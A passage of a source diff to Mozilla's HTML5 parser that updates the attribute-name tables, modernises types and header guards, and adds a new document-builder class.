+ ATTRIBUTE_NAMES[402] = ATTR_MATHVARIANT;
+ ATTRIBUTE_NAMES[403] = ATTR_MARGINWIDTH;
+ ATTRIBUTE_NAMES[404] = ATTR_MARKERWIDTH;
+ ATTRIBUTE_NAMES[405] = ATTR_TEXT_ANCHOR;
+ ATTRIBUTE_NAMES[406] = ATTR_TABLEVALUES;
+ ATTRIBUTE_NAMES[407] = ATTR_SCRIPTLEVEL;
+ ATTRIBUTE_NAMES[408] = ATTR_REPEATCOUNT;
+ ATTRIBUTE_NAMES[409] = ATTR_STITCHTILES;
+ ATTRIBUTE_NAMES[410] = ATTR_STARTOFFSET;
+ ATTRIBUTE_NAMES[411] = ATTR_SCROLLDELAY;
+ ATTRIBUTE_NAMES[412] = ATTR_XMLNS_XLINK;
+ ATTRIBUTE_NAMES[413] = ATTR_XLINK_TITLE;
+ ATTRIBUTE_NAMES[414] = ATTR_ARIA_INVALID;
+ ATTRIBUTE_NAMES[415] = ATTR_ARIA_PRESSED;
+ ATTRIBUTE_NAMES[416] = ATTR_ARIA_CHECKED;
+ ATTRIBUTE_NAMES[417] = ATTR_AUTOCOMPLETE;
+ ATTRIBUTE_NAMES[418] = ATTR_ARIA_SETSIZE;
+ ATTRIBUTE_NAMES[419] = ATTR_ARIA_CHANNEL;
+ ATTRIBUTE_NAMES[420] = ATTR_EQUALCOLUMNS;
+ ATTRIBUTE_NAMES[421] = ATTR_DISPLAYSTYLE;
+ ATTRIBUTE_NAMES[422] = ATTR_DATAFORMATAS;
+ ATTRIBUTE_NAMES[423] = ATTR_FILL_OPACITY;
+ ATTRIBUTE_NAMES[424] = ATTR_FONT_VARIANT;
+ ATTRIBUTE_NAMES[425] = ATTR_FONT_STRETCH;
+ ATTRIBUTE_NAMES[426] = ATTR_FRAMESPACING;
+ ATTRIBUTE_NAMES[427] = ATTR_KERNELMATRIX;
+ ATTRIBUTE_NAMES[428] = ATTR_ONDEACTIVATE;
+ ATTRIBUTE_NAMES[429] = ATTR_ONROWSDELETE;
+ ATTRIBUTE_NAMES[430] = ATTR_ONMOUSELEAVE;
+ ATTRIBUTE_NAMES[431] = ATTR_ONFORMCHANGE;
+ ATTRIBUTE_NAMES[432] = ATTR_ONCELLCHANGE;
+ ATTRIBUTE_NAMES[433] = ATTR_ONMOUSEWHEEL;
+ ATTRIBUTE_NAMES[434] = ATTR_ONMOUSEENTER;
+ ATTRIBUTE_NAMES[435] = ATTR_ONAFTERPRINT;
+ ATTRIBUTE_NAMES[436] = ATTR_ONBEFORECOPY;
+ ATTRIBUTE_NAMES[437] = ATTR_MARGINHEIGHT;
+ ATTRIBUTE_NAMES[438] = ATTR_MARKERHEIGHT;
+ ATTRIBUTE_NAMES[439] = ATTR_MARKER_START;
+ ATTRIBUTE_NAMES[440] = ATTR_MATHEMATICAL;
+ ATTRIBUTE_NAMES[441] = ATTR_LENGTHADJUST;
+ ATTRIBUTE_NAMES[442] = ATTR_UNSELECTABLE;
+ ATTRIBUTE_NAMES[443] = ATTR_UNICODE_BIDI;
+ ATTRIBUTE_NAMES[444] = ATTR_UNITS_PER_EM;
+ ATTRIBUTE_NAMES[445] = ATTR_WORD_SPACING;
+ ATTRIBUTE_NAMES[446] = ATTR_WRITING_MODE;
+ ATTRIBUTE_NAMES[447] = ATTR_V_ALPHABETIC;
+ ATTRIBUTE_NAMES[448] = ATTR_PATTERNUNITS;
+ ATTRIBUTE_NAMES[449] = ATTR_SPREADMETHOD;
+ ATTRIBUTE_NAMES[450] = ATTR_SURFACESCALE;
+ ATTRIBUTE_NAMES[451] = ATTR_STROKE_WIDTH;
+ ATTRIBUTE_NAMES[452] = ATTR_REPEAT_START;
+ ATTRIBUTE_NAMES[453] = ATTR_STDDEVIATION;
+ ATTRIBUTE_NAMES[454] = ATTR_STOP_OPACITY;
+ ATTRIBUTE_NAMES[455] = ATTR_ARIA_CONTROLS;
+ ATTRIBUTE_NAMES[456] = ATTR_ARIA_HASPOPUP;
+ ATTRIBUTE_NAMES[457] = ATTR_ACCENT_HEIGHT;
+ ATTRIBUTE_NAMES[458] = ATTR_ARIA_VALUENOW;
+ ATTRIBUTE_NAMES[459] = ATTR_ARIA_RELEVANT;
+ ATTRIBUTE_NAMES[460] = ATTR_ARIA_POSINSET;
+ ATTRIBUTE_NAMES[461] = ATTR_ARIA_VALUEMAX;
+ ATTRIBUTE_NAMES[462] = ATTR_ARIA_READONLY;
+ ATTRIBUTE_NAMES[463] = ATTR_ARIA_SELECTED;
+ ATTRIBUTE_NAMES[464] = ATTR_ARIA_REQUIRED;
+ ATTRIBUTE_NAMES[465] = ATTR_ARIA_EXPANDED;
+ ATTRIBUTE_NAMES[466] = ATTR_ARIA_DISABLED;
+ ATTRIBUTE_NAMES[467] = ATTR_ATTRIBUTETYPE;
+ ATTRIBUTE_NAMES[468] = ATTR_ATTRIBUTENAME;
+ ATTRIBUTE_NAMES[469] = ATTR_ARIA_DATATYPE;
+ ATTRIBUTE_NAMES[470] = ATTR_ARIA_VALUEMIN;
+ ATTRIBUTE_NAMES[471] = ATTR_BASEFREQUENCY;
+ ATTRIBUTE_NAMES[472] = ATTR_COLUMNSPACING;
+ ATTRIBUTE_NAMES[473] = ATTR_COLOR_PROFILE;
+ ATTRIBUTE_NAMES[474] = ATTR_CLIPPATHUNITS;
+ ATTRIBUTE_NAMES[475] = ATTR_DEFINITIONURL;
+ ATTRIBUTE_NAMES[476] = ATTR_GRADIENTUNITS;
+ ATTRIBUTE_NAMES[477] = ATTR_FLOOD_OPACITY;
+ ATTRIBUTE_NAMES[478] = ATTR_ONAFTERUPDATE;
+ ATTRIBUTE_NAMES[479] = ATTR_ONERRORUPDATE;
+ ATTRIBUTE_NAMES[480] = ATTR_ONBEFOREPASTE;
+ ATTRIBUTE_NAMES[481] = ATTR_ONLOSECAPTURE;
+ ATTRIBUTE_NAMES[482] = ATTR_ONCONTEXTMENU;
+ ATTRIBUTE_NAMES[483] = ATTR_ONSELECTSTART;
+ ATTRIBUTE_NAMES[484] = ATTR_ONBEFOREPRINT;
+ ATTRIBUTE_NAMES[485] = ATTR_MOVABLELIMITS;
+ ATTRIBUTE_NAMES[486] = ATTR_LINETHICKNESS;
+ ATTRIBUTE_NAMES[487] = ATTR_UNICODE_RANGE;
+ ATTRIBUTE_NAMES[488] = ATTR_THINMATHSPACE;
+ ATTRIBUTE_NAMES[489] = ATTR_VERT_ORIGIN_X;
+ ATTRIBUTE_NAMES[490] = ATTR_VERT_ORIGIN_Y;
+ ATTRIBUTE_NAMES[491] = ATTR_V_IDEOGRAPHIC;
+ ATTRIBUTE_NAMES[492] = ATTR_PRESERVEALPHA;
+ ATTRIBUTE_NAMES[493] = ATTR_SCRIPTMINSIZE;
+ ATTRIBUTE_NAMES[494] = ATTR_SPECIFICATION;
+ ATTRIBUTE_NAMES[495] = ATTR_XLINK_ACTUATE;
+ ATTRIBUTE_NAMES[496] = ATTR_XLINK_ARCROLE;
+ ATTRIBUTE_NAMES[497] = ATTR_ACCEPT_CHARSET;
+ ATTRIBUTE_NAMES[498] = ATTR_ALIGNMENTSCOPE;
+ ATTRIBUTE_NAMES[499] = ATTR_ARIA_MULTILINE;
+ ATTRIBUTE_NAMES[500] = ATTR_BASELINE_SHIFT;
+ ATTRIBUTE_NAMES[501] = ATTR_HORIZ_ORIGIN_X;
+ ATTRIBUTE_NAMES[502] = ATTR_HORIZ_ORIGIN_Y;
+ ATTRIBUTE_NAMES[503] = ATTR_ONBEFOREUPDATE;
+ ATTRIBUTE_NAMES[504] = ATTR_ONFILTERCHANGE;
+ ATTRIBUTE_NAMES[505] = ATTR_ONROWSINSERTED;
+ ATTRIBUTE_NAMES[506] = ATTR_ONBEFOREUNLOAD;
+ ATTRIBUTE_NAMES[507] = ATTR_MATHBACKGROUND;
+ ATTRIBUTE_NAMES[508] = ATTR_LETTER_SPACING;
+ ATTRIBUTE_NAMES[509] = ATTR_LIGHTING_COLOR;
+ ATTRIBUTE_NAMES[510] = ATTR_THICKMATHSPACE;
+ ATTRIBUTE_NAMES[511] = ATTR_TEXT_RENDERING;
+ ATTRIBUTE_NAMES[512] = ATTR_V_MATHEMATICAL;
+ ATTRIBUTE_NAMES[513] = ATTR_POINTER_EVENTS;
+ ATTRIBUTE_NAMES[514] = ATTR_PRIMITIVEUNITS;
+ ATTRIBUTE_NAMES[515] = ATTR_SYSTEMLANGUAGE;
+ ATTRIBUTE_NAMES[516] = ATTR_STROKE_LINECAP;
+ ATTRIBUTE_NAMES[517] = ATTR_SUBSCRIPTSHIFT;
+ ATTRIBUTE_NAMES[518] = ATTR_STROKE_OPACITY;
+ ATTRIBUTE_NAMES[519] = ATTR_ARIA_DROPEFFECT;
+ ATTRIBUTE_NAMES[520] = ATTR_ARIA_LABELLEDBY;
+ ATTRIBUTE_NAMES[521] = ATTR_ARIA_TEMPLATEID;
+ ATTRIBUTE_NAMES[522] = ATTR_COLOR_RENDERING;
+ ATTRIBUTE_NAMES[523] = ATTR_CONTENTEDITABLE;
+ ATTRIBUTE_NAMES[524] = ATTR_DIFFUSECONSTANT;
+ ATTRIBUTE_NAMES[525] = ATTR_ONDATAAVAILABLE;
+ ATTRIBUTE_NAMES[526] = ATTR_ONCONTROLSELECT;
+ ATTRIBUTE_NAMES[527] = ATTR_IMAGE_RENDERING;
+ ATTRIBUTE_NAMES[528] = ATTR_MEDIUMMATHSPACE;
+ ATTRIBUTE_NAMES[529] = ATTR_TEXT_DECORATION;
+ ATTRIBUTE_NAMES[530] = ATTR_SHAPE_RENDERING;
+ ATTRIBUTE_NAMES[531] = ATTR_STROKE_LINEJOIN;
+ ATTRIBUTE_NAMES[532] = ATTR_REPEAT_TEMPLATE;
+ ATTRIBUTE_NAMES[533] = ATTR_ARIA_DESCRIBEDBY;
+ ATTRIBUTE_NAMES[534] = ATTR_FONT_SIZE_ADJUST;
+ ATTRIBUTE_NAMES[535] = ATTR_KERNELUNITLENGTH;
+ ATTRIBUTE_NAMES[536] = ATTR_ONBEFOREACTIVATE;
+ ATTRIBUTE_NAMES[537] = ATTR_ONPROPERTYCHANGE;
+ ATTRIBUTE_NAMES[538] = ATTR_ONDATASETCHANGED;
+ ATTRIBUTE_NAMES[539] = ATTR_MASKCONTENTUNITS;
+ ATTRIBUTE_NAMES[540] = ATTR_PATTERNTRANSFORM;
+ ATTRIBUTE_NAMES[541] = ATTR_REQUIREDFEATURES;
+ ATTRIBUTE_NAMES[542] = ATTR_RENDERING_INTENT;
+ ATTRIBUTE_NAMES[543] = ATTR_SPECULAREXPONENT;
+ ATTRIBUTE_NAMES[544] = ATTR_SPECULARCONSTANT;
+ ATTRIBUTE_NAMES[545] = ATTR_SUPERSCRIPTSHIFT;
+ ATTRIBUTE_NAMES[546] = ATTR_STROKE_DASHARRAY;
+ ATTRIBUTE_NAMES[547] = ATTR_XCHANNELSELECTOR;
+ ATTRIBUTE_NAMES[548] = ATTR_YCHANNELSELECTOR;
+ ATTRIBUTE_NAMES[549] = ATTR_ARIA_AUTOCOMPLETE;
+ ATTRIBUTE_NAMES[550] = ATTR_ENABLE_BACKGROUND;
+ ATTRIBUTE_NAMES[551] = ATTR_DOMINANT_BASELINE;
+ ATTRIBUTE_NAMES[552] = ATTR_GRADIENTTRANSFORM;
+ ATTRIBUTE_NAMES[553] = ATTR_ONBEFORDEACTIVATE;
+ ATTRIBUTE_NAMES[554] = ATTR_ONDATASETCOMPLETE;
+ ATTRIBUTE_NAMES[555] = ATTR_OVERLINE_POSITION;
+ ATTRIBUTE_NAMES[556] = ATTR_ONBEFOREEDITFOCUS;
+ ATTRIBUTE_NAMES[557] = ATTR_LIMITINGCONEANGLE;
+ ATTRIBUTE_NAMES[558] = ATTR_VERYTHINMATHSPACE;
+ ATTRIBUTE_NAMES[559] = ATTR_STROKE_DASHOFFSET;
+ ATTRIBUTE_NAMES[560] = ATTR_STROKE_MITERLIMIT;
+ ATTRIBUTE_NAMES[561] = ATTR_ALIGNMENT_BASELINE;
+ ATTRIBUTE_NAMES[562] = ATTR_ONREADYSTATECHANGE;
+ ATTRIBUTE_NAMES[563] = ATTR_OVERLINE_THICKNESS;
+ ATTRIBUTE_NAMES[564] = ATTR_UNDERLINE_POSITION;
+ ATTRIBUTE_NAMES[565] = ATTR_VERYTHICKMATHSPACE;
+ ATTRIBUTE_NAMES[566] = ATTR_REQUIREDEXTENSIONS;
+ ATTRIBUTE_NAMES[567] = ATTR_COLOR_INTERPOLATION;
+ ATTRIBUTE_NAMES[568] = ATTR_UNDERLINE_THICKNESS;
+ ATTRIBUTE_NAMES[569] = ATTR_PRESERVEASPECTRATIO;
+ ATTRIBUTE_NAMES[570] = ATTR_PATTERNCONTENTUNITS;
+ ATTRIBUTE_NAMES[571] = ATTR_ARIA_MULTISELECTABLE;
+ ATTRIBUTE_NAMES[572] = ATTR_SCRIPTSIZEMULTIPLIER;
+ ATTRIBUTE_NAMES[573] = ATTR_ARIA_ACTIVEDESCENDANT;
+ ATTRIBUTE_NAMES[574] = ATTR_VERYVERYTHINMATHSPACE;
+ ATTRIBUTE_NAMES[575] = ATTR_VERYVERYTHICKMATHSPACE;
+ ATTRIBUTE_NAMES[576] = ATTR_STRIKETHROUGH_POSITION;
+ ATTRIBUTE_NAMES[577] = ATTR_STRIKETHROUGH_THICKNESS;
ATTRIBUTE_NAMES[578] = ATTR_GLYPH_ORIENTATION_VERTICAL;
ATTRIBUTE_NAMES[579] = ATTR_COLOR_INTERPOLATION_FILTERS;
ATTRIBUTE_NAMES[580] = ATTR_GLYPH_ORIENTATION_HORIZONTAL;
@@ -2108,6 +2109,7 @@ nsHtml5AttributeName::releaseStatics()
delete ATTR_STYLE;
delete ATTR_RULES;
delete ATTR_STEMH;
+ delete ATTR_SIZES;
delete ATTR_STEMV;
delete ATTR_START;
delete ATTR_XMLNS;
@@ -2162,6 +2164,7 @@ nsHtml5AttributeName::releaseStatics()
delete ATTR_RADIUS;
delete ATTR_RESULT;
delete ATTR_REPEAT;
+ delete ATTR_SRCSET;
delete ATTR_RSPACE;
delete ATTR_ROTATE;
delete ATTR_RQUOTE;
@@ -2280,10 +2283,10 @@ nsHtml5AttributeName::releaseStatics()
delete ATTR_ELEVATION;
delete ATTR_DIRECTION;
delete ATTR_DRAGGABLE;
- delete ATTR_FILTERRES;
delete ATTR_FILL_RULE;
delete ATTR_FONTSTYLE;
delete ATTR_FONT_SIZE;
+ delete ATTR_KEYSYSTEM;
delete ATTR_KEYPOINTS;
delete ATTR_HIDEFOCUS;
delete ATTR_ONMESSAGE;
@@ -2291,6 +2294,7 @@ nsHtml5AttributeName::releaseStatics()
delete ATTR_ONDRAGEND;
delete ATTR_ONMOVEEND;
delete ATTR_ONINVALID;
+ delete ATTR_INTEGRITY;
delete ATTR_ONKEYDOWN;
delete ATTR_ONFOCUSIN;
delete ATTR_ONMOUSEUP;
@@ -2520,7 +2524,6 @@ nsHtml5AttributeName::releaseStatics()
delete ATTR_STROKE_LINEJOIN;
delete ATTR_REPEAT_TEMPLATE;
delete ATTR_ARIA_DESCRIBEDBY;
- delete ATTR_CONTENTSTYLETYPE;
delete ATTR_FONT_SIZE_ADJUST;
delete ATTR_KERNELUNITLENGTH;
delete ATTR_ONBEFOREACTIVATE;
@@ -2537,7 +2540,6 @@ nsHtml5AttributeName::releaseStatics()
delete ATTR_XCHANNELSELECTOR;
delete ATTR_YCHANNELSELECTOR;
delete ATTR_ARIA_AUTOCOMPLETE;
- delete ATTR_CONTENTSCRIPTTYPE;
delete ATTR_ENABLE_BACKGROUND;
delete ATTR_DOMINANT_BASELINE;
delete ATTR_GRADIENTTRANSFORM;
@@ -2566,7 +2568,6 @@ nsHtml5AttributeName::releaseStatics()
delete ATTR_VERYVERYTHICKMATHSPACE;
delete ATTR_STRIKETHROUGH_POSITION;
delete ATTR_STRIKETHROUGH_THICKNESS;
- delete ATTR_EXTERNALRESOURCESREQUIRED;
delete ATTR_GLYPH_ORIENTATION_VERTICAL;
delete ATTR_COLOR_INTERPOLATION_FILTERS;
delete ATTR_GLYPH_ORIENTATION_HORIZONTAL;
diff --git a/parser/html/nsHtml5AttributeName.h b/parser/html/nsHtml5AttributeName.h
index 3a10c1669..afbdfe317 100644
--- a/parser/html/nsHtml5AttributeName.h
+++ b/parser/html/nsHtml5AttributeName.h
@@ -25,13 +25,13 @@
* Please edit AttributeName.java instead and regenerate.
*/
-#ifndef nsHtml5AttributeName_h__
-#define nsHtml5AttributeName_h__
+#ifndef nsHtml5AttributeName_h
+#define nsHtml5AttributeName_h
#include "nsIAtom.h"
#include "nsHtml5AtomTable.h"
#include "nsString.h"
-#include "nsINameSpaceManager.h"
+#include "nsNameSpaceManager.h"
#include "nsIContent.h"
#include "nsTraceRefcnt.h"
#include "jArray.h"
@@ -41,6 +41,7 @@
#include "nsHtml5ByteReadable.h"
#include "nsIUnicodeDecoder.h"
#include "nsHtml5Macros.h"
+#include "nsIContentHandle.h"
class nsHtml5StreamParser;
@@ -73,9 +74,9 @@ class nsHtml5AttributeName
static nsIAtom** COLONIFIED_LOCAL(nsIAtom* name, nsIAtom* suffix);
public:
static nsIAtom** SAME_LOCAL(nsIAtom* name);
- static nsHtml5AttributeName* nameByBuffer(PRUnichar* buf, int32_t offset, int32_t length, nsHtml5AtomTable* interner);
+ static nsHtml5AttributeName* nameByBuffer(char16_t* buf, int32_t offset, int32_t length, nsHtml5AtomTable* interner);
private:
- static int32_t bufToHash(PRUnichar* buf, int32_t len);
+ static int32_t bufToHash(char16_t* buf, int32_t len);
int32_t* uri;
nsIAtom** local;
nsIAtom** prefix;
@@ -210,6 +211,7 @@ class nsHtml5AttributeName
static nsHtml5AttributeName* ATTR_STYLE;
static nsHtml5AttributeName* ATTR_RULES;
static nsHtml5AttributeName* ATTR_STEMH;
+ static nsHtml5AttributeName* ATTR_SIZES;
static nsHtml5AttributeName* ATTR_STEMV;
static nsHtml5AttributeName* ATTR_START;
static nsHtml5AttributeName* ATTR_XMLNS;
@@ -264,6 +266,7 @@ class nsHtml5AttributeName
static nsHtml5AttributeName* ATTR_RADIUS;
static nsHtml5AttributeName* ATTR_RESULT;
static nsHtml5AttributeName* ATTR_REPEAT;
+ static nsHtml5AttributeName* ATTR_SRCSET;
static nsHtml5AttributeName* ATTR_RSPACE;
static nsHtml5AttributeName* ATTR_ROTATE;
static nsHtml5AttributeName* ATTR_RQUOTE;
@@ -382,10 +385,10 @@ class nsHtml5AttributeName
static nsHtml5AttributeName* ATTR_ELEVATION;
static nsHtml5AttributeName* ATTR_DIRECTION;
static nsHtml5AttributeName* ATTR_DRAGGABLE;
- static nsHtml5AttributeName* ATTR_FILTERRES;
static nsHtml5AttributeName* ATTR_FILL_RULE;
static nsHtml5AttributeName* ATTR_FONTSTYLE;
static nsHtml5AttributeName* ATTR_FONT_SIZE;
+ static nsHtml5AttributeName* ATTR_KEYSYSTEM;
static nsHtml5AttributeName* ATTR_KEYPOINTS;
static nsHtml5AttributeName* ATTR_HIDEFOCUS;
static nsHtml5AttributeName* ATTR_ONMESSAGE;
@@ -393,6 +396,7 @@ class nsHtml5AttributeName
static nsHtml5AttributeName* ATTR_ONDRAGEND;
static nsHtml5AttributeName* ATTR_ONMOVEEND;
static nsHtml5AttributeName* ATTR_ONINVALID;
+ static nsHtml5AttributeName* ATTR_INTEGRITY;
static nsHtml5AttributeName* ATTR_ONKEYDOWN;
static nsHtml5AttributeName* ATTR_ONFOCUSIN;
static nsHtml5AttributeName* ATTR_ONMOUSEUP;
@@ -622,7 +626,6 @@ class nsHtml5AttributeName
static nsHtml5AttributeName* ATTR_STROKE_LINEJOIN;
static nsHtml5AttributeName* ATTR_REPEAT_TEMPLATE;
static nsHtml5AttributeName* ATTR_ARIA_DESCRIBEDBY;
- static nsHtml5AttributeName* ATTR_CONTENTSTYLETYPE;
static nsHtml5AttributeName* ATTR_FONT_SIZE_ADJUST;
static nsHtml5AttributeName* ATTR_KERNELUNITLENGTH;
static nsHtml5AttributeName* ATTR_ONBEFOREACTIVATE;
@@ -639,7 +642,6 @@ class nsHtml5AttributeName
static nsHtml5AttributeName* ATTR_XCHANNELSELECTOR;
static nsHtml5AttributeName* ATTR_YCHANNELSELECTOR;
static nsHtml5AttributeName* ATTR_ARIA_AUTOCOMPLETE;
- static nsHtml5AttributeName* ATTR_CONTENTSCRIPTTYPE;
static nsHtml5AttributeName* ATTR_ENABLE_BACKGROUND;
static nsHtml5AttributeName* ATTR_DOMINANT_BASELINE;
static nsHtml5AttributeName* ATTR_GRADIENTTRANSFORM;
@@ -668,7 +670,6 @@ class nsHtml5AttributeName
static nsHtml5AttributeName* ATTR_VERYVERYTHICKMATHSPACE;
static nsHtml5AttributeName* ATTR_STRIKETHROUGH_POSITION;
static nsHtml5AttributeName* ATTR_STRIKETHROUGH_THICKNESS;
- static nsHtml5AttributeName* ATTR_EXTERNALRESOURCESREQUIRED;
static nsHtml5AttributeName* ATTR_GLYPH_ORIENTATION_VERTICAL;
static nsHtml5AttributeName* ATTR_COLOR_INTERPOLATION_FILTERS;
static nsHtml5AttributeName* ATTR_GLYPH_ORIENTATION_HORIZONTAL;
diff --git a/parser/html/nsHtml5ByteReadable.h b/parser/html/nsHtml5ByteReadable.h
index 405cbc977..7b6103ccf 100644
--- a/parser/html/nsHtml5ByteReadable.h
+++ b/parser/html/nsHtml5ByteReadable.h
@@ -2,8 +2,8 @@
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
-#ifndef nsHtml5ByteReadable_h__
-#define nsHtml5ByteReadable_h__
+#ifndef nsHtml5ByteReadable_h
+#define nsHtml5ByteReadable_h
/**
* A weak reference wrapper around a byte array.
diff --git a/parser/html/nsHtml5DependentUTF16Buffer.cpp b/parser/html/nsHtml5DependentUTF16Buffer.cpp
index 181ee0f05..a09add1fe 100644
--- a/parser/html/nsHtml5DependentUTF16Buffer.cpp
+++ b/parser/html/nsHtml5DependentUTF16Buffer.cpp
@@ -5,7 +5,7 @@
#include "nsHtml5DependentUTF16Buffer.h"
nsHtml5DependentUTF16Buffer::nsHtml5DependentUTF16Buffer(const nsAString& aToWrap)
- : nsHtml5UTF16Buffer(const_cast<PRUnichar*> (aToWrap.BeginReading()),
+ : nsHtml5UTF16Buffer(const_cast<char16_t*> (aToWrap.BeginReading()),
aToWrap.Length())
{
MOZ_COUNT_CTOR(nsHtml5DependentUTF16Buffer);
@@ -28,6 +28,6 @@ nsHtml5DependentUTF16Buffer::FalliblyCopyAsOwningBuffer()
newObj->setEnd(newLength);
memcpy(newObj->getBuffer(),
getBuffer() + getStart(),
- newLength * sizeof(PRUnichar));
+ newLength * sizeof(char16_t));
return newObj.forget();
}
diff --git a/parser/html/nsHtml5DependentUTF16Buffer.h b/parser/html/nsHtml5DependentUTF16Buffer.h
index e0cb745b5..038d331c0 100644
--- a/parser/html/nsHtml5DependentUTF16Buffer.h
+++ b/parser/html/nsHtml5DependentUTF16Buffer.h
@@ -2,8 +2,8 @@
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
-#ifndef nsHtml5DependentUTF16Buffer_h_
-#define nsHtml5DependentUTF16Buffer_h_
+#ifndef nsHtml5DependentUTF16Buffer_h
+#define nsHtml5DependentUTF16Buffer_h
#include "nscore.h"
#include "nsHtml5OwningUTF16Buffer.h"
@@ -15,7 +15,7 @@ class MOZ_STACK_CLASS nsHtml5DependentUTF16Buffer : public nsHtml5UTF16Buffer
* Wraps a string without taking ownership of the buffer. aToWrap MUST NOT
* go away or be shortened while nsHtml5DependentUTF16Buffer is in use.
*/
- nsHtml5DependentUTF16Buffer(const nsAString& aToWrap);
+ explicit nsHtml5DependentUTF16Buffer(const nsAString& aToWrap);
~nsHtml5DependentUTF16Buffer();
@@ -28,4 +28,4 @@ class MOZ_STACK_CLASS nsHtml5DependentUTF16Buffer : public nsHtml5UTF16Buffer
already_AddRefed<nsHtml5OwningUTF16Buffer> FalliblyCopyAsOwningBuffer();
};
-#endif // nsHtml5DependentUTF16Buffer_h_
+#endif // nsHtml5DependentUTF16Buffer_h
diff --git a/parser/html/nsHtml5DocumentBuilder.cpp b/parser/html/nsHtml5DocumentBuilder.cpp
new file mode 100644
index 000000000..08e4d8a1b
--- /dev/null
+++ b/parser/html/nsHtml5DocumentBuilder.cpp
@@ -0,0 +1,145 @@
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* vim: set ts=2 sw=2 et tw=78: */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+#include "nsHtml5DocumentBuilder.h"
+
+#include "nsIStyleSheetLinkingElement.h"
+#include "nsStyleLinkElement.h"
+#include "nsScriptLoader.h"
+#include "nsIHTMLDocument.h"
+
+NS_IMPL_CYCLE_COLLECTION_INHERITED(nsHtml5DocumentBuilder, nsContentSink,
+ mOwnedElements)
+
+NS_INTERFACE_MAP_BEGIN_CYCLE_COLLECTION_INHERITED(nsHtml5DocumentBuilder)
+NS_INTERFACE_MAP_END_INHERITING(nsContentSink)
+
+NS_IMPL_ADDREF_INHERITED(nsHtml5DocumentBuilder, nsContentSink)
+NS_IMPL_RELEASE_INHERITED(nsHtml5DocumentBuilder, nsContentSink)
+
+nsHtml5DocumentBuilder::nsHtml5DocumentBuilder(bool aRunsToCompletion)
+{
+ mRunsToCompletion = aRunsToCompletion;
+}
+
+nsresult
+nsHtml5DocumentBuilder::Init(nsIDocument* aDoc,
+ nsIURI* aURI,
+ nsISupports* aContainer,
+ nsIChannel* aChannel)
+{
+ return nsContentSink::Init(aDoc, aURI, aContainer, aChannel);
+}
+
+nsHtml5DocumentBuilder::~nsHtml5DocumentBuilder()
+{
+}
+
+nsresult
+nsHtml5DocumentBuilder::MarkAsBroken(nsresult aReason)
+{
+ mBroken = aReason;
+ return aReason;
+}
+
+void
+nsHtml5DocumentBuilder::SetDocumentCharsetAndSource(nsACString& aCharset, int32_t aCharsetSource)
+{
+ if (mDocument) {
+ mDocument->SetDocumentCharacterSetSource(aCharsetSource);
+ mDocument->SetDocumentCharacterSet(aCharset);
+ }
+}
+
+void
+nsHtml5DocumentBuilder::UpdateStyleSheet(nsIContent* aElement)
+{
+ // Break out of the doc update created by Flush() to zap a runnable
+ // waiting to call UpdateStyleSheet without the right observer
+ EndDocUpdate();
+
+ if (MOZ_UNLIKELY(!mParser)) {
+ // EndDocUpdate ran stuff that called nsIParser::Terminate()
+ return;
+ }
+
+ nsCOMPtr<nsIStyleSheetLinkingElement> ssle(do_QueryInterface(aElement));
+ NS_ASSERTION(ssle, "Node didn't QI to style.");
+
+ ssle->SetEnableUpdates(true);
+
+ bool willNotify;
+ bool isAlternate;
+ nsresult rv = ssle->UpdateStyleSheet(mRunsToCompletion ? nullptr : this,
+ &willNotify,
+ &isAlternate);
+ if (NS_SUCCEEDED(rv) && willNotify && !isAlternate && !mRunsToCompletion) {
+ ++mPendingSheetCount;
+ mScriptLoader->AddExecuteBlocker();
+ }
+
+ if (aElement->IsHTML(nsGkAtoms::link)) {
+ // look for <link rel="next" href="url">
+ nsAutoString relVal;
+ aElement->GetAttr(kNameSpaceID_None, nsGkAtoms::rel, relVal);
+ if (!relVal.IsEmpty()) {
+ uint32_t linkTypes =
+ nsStyleLinkElement::ParseLinkTypes(relVal, aElement->NodePrincipal());
+ bool hasPrefetch = linkTypes & nsStyleLinkElement::ePREFETCH;
+ if (hasPrefetch || (linkTypes & nsStyleLinkElement::eNEXT)) {
+ nsAutoString hrefVal;
+ aElement->GetAttr(kNameSpaceID_None, nsGkAtoms::href, hrefVal);
+ if (!hrefVal.IsEmpty()) {
+ PrefetchHref(hrefVal, aElement, hasPrefetch);
+ }
+ }
+ if (linkTypes & nsStyleLinkElement::eDNS_PREFETCH) {
+ nsAutoString hrefVal;
+ aElement->GetAttr(kNameSpaceID_None, nsGkAtoms::href, hrefVal);
+ if (!hrefVal.IsEmpty()) {
+ PrefetchDNS(hrefVal);
+ }
+ }
+ }
+ }
+
+ // Re-open update
+ BeginDocUpdate();
+}
+
+void
+nsHtml5DocumentBuilder::SetDocumentMode(nsHtml5DocumentMode m)
+{
+ nsCompatibility mode = eCompatibility_NavQuirks;
+ switch (m) {
+ case STANDARDS_MODE:
+ mode = eCompatibility_FullStandards;
+ break;
+ case ALMOST_STANDARDS_MODE:
+ mode = eCompatibility_AlmostStandards;
+ break;
+ case QUIRKS_MODE:
+ mode = eCompatibility_NavQuirks;
+ break;
+ }
+ nsCOMPtr<nsIHTMLDocument> htmlDocument = do_QueryInterface(mDocument);
+ NS_ASSERTION(htmlDocument, "Document didn't QI into HTML document.");
+ htmlDocument->SetCompatibilityMode(mode);
+}
+
+// nsContentSink overrides
+
+void
+nsHtml5DocumentBuilder::UpdateChildCounts()
+{
+ // No-op
+}
+
+nsresult
+nsHtml5DocumentBuilder::FlushTags()
+{
+ return NS_OK;
+}
diff --git a/parser/html/nsHtml5DocumentBuilder.h b/parser/html/nsHtml5DocumentBuilder.h
new file mode 100644
index 000000000..0391176c0
--- /dev/null
+++ b/parser/html/nsHtml5DocumentBuilder.h
@@ -0,0 +1,130 @@
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* vim: set ts=2 sw=2 et tw=78: */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+#ifndef nsHtml5DocumentBuilder_h
+#define nsHtml5DocumentBuilder_h
